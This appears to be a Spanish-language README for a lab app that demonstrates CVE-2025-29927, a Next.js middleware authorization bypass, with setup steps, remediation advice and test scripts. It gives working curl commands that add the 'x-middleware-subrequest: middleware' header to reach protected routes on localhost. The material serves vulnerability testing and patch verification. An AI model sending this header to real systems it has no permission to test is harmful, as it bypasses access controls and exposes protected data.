
Prueba y demuestra CVE-2025-29927, un bypass de autorización de middleware en Next.js. Incluye scripts de prueba de explotación y de acceso normal, además de una guía de remediación.
Esta aplicación demuestra la vulnerabilidad de omisión de autorización del middleware de Next.js (CVE-2025-29927).
CVE-2025-29927 es una vulnerabilidad de omisión de autorización en el middleware de Next.js. Al enviar una cabecera HTTP especialmente diseñada (x-middleware-subrequest), un atacante puede eludir las comprobaciones de autorización implementadas en el middleware, obteniendo potencialmente acceso a recursos protegidos.
Instalar dependencias:
cd /var/www/react-nextjs/test-middleware-skip
npm install
Ejecutar el servidor de desarrollo:
npm run dev
El servidor se iniciará en http://localhost:3000
Intente acceder a la ruta protegida normalmente:
npm run test-normal
o
curl -v http://localhost:3000/protected-data
Debería recibir una respuesta 401 No Autorizado, ya que el middleware bloquea el acceso.
Intente acceder a la ruta protegida con la cabecera de explotación:
npm run test-exploit
o
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
Si la aplicación es vulnerable, recibirá una respuesta 200 OK con los datos protegidos.
Acceso normal (debería estar bloqueado):
curl -v http://localhost:3000/api/protected
Con explotación:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Para corregir esta vulnerabilidad, debe:
Actualizar Next.js a una versión parcheada:
Si no puede actualizar, implemente un proxy inverso (como Nginx o Cloudflare) que elimine la cabecera x-middleware-subrequest de las solicitudes entrantes.
Pruebe si la ruta API es vulnerable:
# Normal request (should be blocked)
curl -v http://localhost:3000/api/protected
# With exploit header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad. Úsela para verificar si sus propias aplicaciones Next.js son vulnerables y necesitan ser parcheadas.